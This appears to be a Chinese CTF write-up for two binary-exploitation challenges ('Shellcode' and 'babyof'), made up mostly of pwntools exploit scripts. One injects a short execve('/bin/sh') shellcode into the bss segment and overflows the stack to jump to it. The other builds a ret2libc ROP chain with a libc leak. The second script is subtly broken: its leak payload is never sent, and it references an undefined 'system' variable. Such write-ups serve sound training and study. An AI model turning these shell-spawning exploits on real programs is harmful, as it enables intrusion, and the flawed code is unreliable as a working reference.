[GDOUCTF 2023]Shellcode
使用checksec发现这是64位文件
查看main函数发现这题涉及到了栈溢出
我们点开第一个read,name发现位于bss段中,就想到这里涉及到了shellcode,但是使用 shellcraft 默认生成的字节数是 44 字节,这里最大输入数才25字节,所有不能使用默认生成
这里我们就是涉及到了一个64 位 较短的shellcode 23字节 \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05
找到了方法,我们接着找栈溢出点在哪里
第二个read的buf为栈溢出点,因为他不能直接读写,我们只能先第一个shellcode注入,然后第二个在溢出
exp:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('node4.anna.nssctf.cn','28981')
bss = 0x6010A0
padding = b'a'*(0xA+0x8)
io.recvuntil(b'Please.')
shellcode = '\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
io.sendline(shellcode)
io.recvuntil(b'start!')
payload = padding + p64(bss)
io.sendline(payload)
io.interactive()
[2021 鹤城杯]babyof
使用checksec发现这是一个64位文件
打开main函数,发现这里有个sub_400632双击进入
典型栈溢出
发现这题没有system和binsh,这题涉及到了ret2libc
这道题需要用到rdi和ret
exp:
from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn','28146')
elf = ELF('/home/xp/tm/bin/b')
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main = 0x400632
ret = 0x400506
rdi = 0x400743
padding = b'a'*(0x40+0x8)
io.recvuntil(b'overflow?')
payload = padding + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
put = u64(io.recvuntil(b'\x7f', timeout=5)[ -6:].ljust(8, b'\x00'))
print(hex(put))
libc = LibcSearcher('puts',put)
base = put - libc.dump('puts')
sys = base + libc.dump('system')
binsh = base + libc.dump('str_bin_sh')
payload1 = padding + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendline(payload1)
io.interactive()